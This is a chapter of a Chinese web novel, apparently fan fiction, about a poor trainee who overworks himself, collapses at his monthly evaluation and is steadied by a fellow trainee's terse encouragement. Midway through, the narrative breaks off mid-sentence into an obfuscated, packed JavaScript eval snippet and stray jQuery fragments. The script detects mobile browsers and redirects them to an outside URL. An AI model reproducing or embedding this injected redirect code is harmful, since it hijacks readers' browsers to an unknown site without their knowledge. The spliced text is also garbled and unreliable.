金侑一不再仅仅满足于老师的教习内容，而是像一块贪婪的海绵，拼命汲取着一切可能提升自己的养分。


    他开始疯狂地观察。观察声乐老师如何指导呼吸和共鸣，观察舞蹈老师如何分解动作和强调力度，观察那些优秀练习生如何在镜头前调动表情和情绪。


    他站在那儿，集中注意力，捕捉一切有用的信息片段。完成动作后，就算退居在一旁，眼睛也要盯着，记下每一个走位和队形变换。


    他还要利用深夜独自打扫的机会，偷偷操作那些老旧的录音设备，录下自己干涩的嗓音，反复听，寻找哪怕一丝一毫的改进可能。


    他的“药箱”依旧在，里面的东西甚至更齐全了。但现在，更多时候，是他自己需要它。


    过度劳累和营养不良导致的低血糖和眩晕几乎成了常态，关节和肌肉因为缺乏科学训练而频繁酸痛。


    他随身带着止痛片和能量补充剂，像上瘾一样依赖它们来维持身体最基本的运转。


    为了支付练习生课程额外的材料费和偶尔必需的加餐，他不得不寻找更多的兼职。


    现在，他除了清晨送报、白天便利店、晚上烤肉店，周末还去建筑工地做零工，搬运沉重的水泥和钢筋。


    日头最毒或寒风最烈的时候，他和其他临时工一起，像蚂蚁一样在工地上移动，汗水浸透又干涸，在衣服上结出白色的盐渍。


    手掌很快磨出了新的水泡，破了，结痂，再磨破，最终变成一层粗糙的硬茧。


    他迅速消瘦下去，颧骨突出，眼窝深陷，脸色是一种不健康的青白。旧衣服穿在身上空荡荡的，但他没钱买新的。


    练习生统一的训练服，他领到的是最不合身的一套，裤腿和袖子都短一截，洗得发白，混在一群身形日渐挺拔的同龄人中，显得格外扎眼和滑稽。


    但他似乎感觉不到这些。他的全部精神都聚焦在那一点点的“进步”上。


    一次气息稍微稳了一些，一个高音勉强够到了，一个舞蹈动作没有被批评……所有在别人看来不值一提的进展，成了支撑他熬过一个个冰冷长夜的唯一燃料。


    金侑一的努力，以一种笨拙而惨烈的方式，终于引起了一点点注意。不是赞许，而是诧异，以及侧目时的担忧。


    声乐老师在一次分组练习时，意外地点了他。“金侑一，你唱一下这段。”


    金侑一站起来，心脏狂跳。他清了清沙哑的嗓子，按照自己偷偷练习了无数遍的方式，唱了出来。


    声音依旧单薄，技巧生涩，但奇异地，在那种过度用力导致的轻微颤抖中，竟透出一股近乎绝望的投入感，像濒死之人抓住最后一根稻草。


    老师听完，沉默了片刻，眉头蹙起，最终只是说：“感情过于外放，技巧欠缺，基础太差。但……肯拼命。”最后四个字，说得很轻，不知道是评价还是叹息。


    舞蹈课上，他永远是角落那个最不协调的身影。节奏跟不上，动作做不到位，体力也总是最先耗尽。


    有次练习一个需要连续快速旋转和跳跃的组合动作，他转到第三圈就眼前一黑，重重摔倒在地，膝盖磕在地板上，发出闷响。他趴在地上，急促地喘息，汗水滴进眼睛里，刺痛。


    老师走过来，居高临下地看着他，语气严厉：“金侑一，身体不行就不要硬撑！你这样不仅自己受伤，还会影响整体进度！”


    周围有窃窃私语和低低的笑声。金侑一咬着牙，用手臂撑起身体，摇摇晃晃地站起来，低声道歉：“对不起，老师。我会、会加强练习的。”


    他没有看任何人，重新站回自己的位置，音乐响起时，又开始了笨拙的模仿。摔倒的膝盖处，连裤子磨破了，渗出丝丝血迹，但他好像感觉不到疼。


    崔胜徹有时会在他练习到深夜时，推门进来，一言不发地看一会儿，然后扔给他一瓶运动饮料。“别练倒在这里。”


    语气硬邦邦的，听不出情绪。


    金岷奎会在食堂看到他只打最便宜的泡菜汤和米饭时，把自己餐盘里的鸡蛋或肉分一半给他，用大大咧咧的语气说：“哥，我减肥，你帮我吃。”


    徐明皓和文俊晖会拉着他，用还不太熟练的韩语和手势，认真地跟他讨论某个中文发音或歌词的含义，仿佛他真的是可以在这个陌生国度里引路的唯一掌灯人。


    这些细微的善意，像黑暗冰原上偶尔划过的流星，短暂地照亮他嶙峋的路，却也更清晰地映出他的卑微软弱。


    他接受着，感激着，同时也被一种无法言说的债务感折磨着。


    他凭什么得到这些？凭他的贫穷？凭他的可怜？还是凭他那点可笑的“努力”？


    好几种扭曲的情绪，在月末评价来临前，达到了顶峰。为了准备评价曲目，他连续三天睡眠时间加起来不到十小时。


    白天打工，晚上潜入练习室，对着镜子一遍遍抠动作，练唱段。喉咙肿痛时候，连吞咽都变得困难，他就含着喉糖继续唱。过度的练习使腿脚浮肿，他就扶着把杆，一点点挪动。


    评价当天，他站在评委面前，灯光刺眼。


    音乐响起，他张开嘴，却发现发不出声音，只有嘶哑的气流。


    他慌了，拼命想调动声带，却只引来一阵剧烈的咳嗽和更加刺耳的破音。


    舞蹈部分更是灾难，脚步虚浮，动作完全变形，跳到一半，他左脚绊右脚，再次狠狠摔倒在地。


    练习室里一片寂静。评委们的脸上没什么表情，只有最边上那个声乐老师，几不可察地摇了摇头。


    金侑一趴在地上，脸颊贴着冰冷的地板，汗水混着灰尘，黏腻难受。


    他能感觉到所有人的目光，像针一样扎在他的背上。羞耻、绝望甚至对自己的憎恶，像冰冷的潮水，将他淹没，不留分毫。他恨不得地板裂开一条缝，让他坠入，直达地狱。


    不知过了多久，也许只有几秒。他听到评委淡淡的声音：“下一个。”


    他挣扎着爬起来，低着头，踉跄着走出练习室，靠在走廊冰冷的墙壁上，身体控制不住地颤抖


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976264|193505||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    失败。


    又一次毫无悬念的失败。


    他付出了这么多，透支了健康，牺牲了陪伴弟弟的时间，忍受了无数的白眼和嘲笑，换来的就是这样一个狼狈的结局。


    为什么？


    凭什么？


    他慢慢滑坐在地上，把脸埋进膝盖。走廊里人来人往，就像便利店外的路边。脚步声，说话声，练习室的音乐声，交织成一片模糊的噪声。


    但他什么都听不到，耳边只有自己沉重而破碎的呼吸和心底那个越来越响的声音：


    你不行。金侑一。你永远不行。


    就在他几乎要被这黑暗吞噬的时候，一个清亮的声音在他头顶响起，带着一丝不易察觉的疲惫和了然。


    “喂，在这坐着干什么。”


    金侑一浑身一僵，缓缓抬起头。


    李志勋站在他面前，穿着训练服，额发微湿，手里拿着个保温杯。他低头看着金侑一，脸上没什么特别的表情，既没有同情，也没有责备，只有一种近乎漠然的平静。


    “评价结束了？”李志勋问。


    金侑一喉咙哽住，发不出声音，只是点了点头。


    李志勋也点了点头，没再问结果，只是把保温杯递过来：“喝点热水。你嗓子快废了。”


    金侑一没接，只是怔怔地看着他。


    为什么？为什么在这个时候是李志勋？这个最初给他名片，让他“去唱啊”的人，现在看到他这副最落魄的样子。


    李志勋见他不动，直接把保温杯塞进他手里，温热的感觉透过杯壁传来。


    “摔倒没什么，”李志勋的声音很平淡，像是在陈述一个客观事实，“站起来就行了。除非你自己不想站。”


    说完，他绕过金侑一，径直朝练习室走去，脚步没有一丝停留。


    金侑一握着那只保温杯，温热的触感顺着指尖，一点点蔓延到冰冷僵硬的四肢百骸。


    李志勋的话，像一把钝刀子，没有安慰，没有鼓励，却奇异地撬开了那层名为自怜的壳。


    摔倒没什么。站起来就行了。


    除非你自己不想站。


    是啊，他在自怜什么？在绝望什么？


    失败？他早就习惯了。


    丢脸？他这样底层的人，最不值钱的就是脸面啊。


    他慢慢站起来，靠在墙上，拧开保温杯，温热的水汽扑在脸上。他喝了好几口，水流过灼痛的喉咙，带来一阵刺痛后的舒缓。


    走廊尽头，李志勋推开练习室的门，里面传来熟悉的音乐前奏，是他正在制作的曲子。节奏强烈，光听就知道描绘的是一幅欣欣向荣的样景。


    金侑一看着手里冒着热气的保温杯，又低头看了看自己磨破的膝盖和脏污的训练服。一种极其疲惫，却又异常清晰的认知，浮上心头。


    他还能站。


    只要他不想躺下，就还能站。


    月末评价的结果不出所料，他是垫底的那一批。但这一次，他没有再躲起来。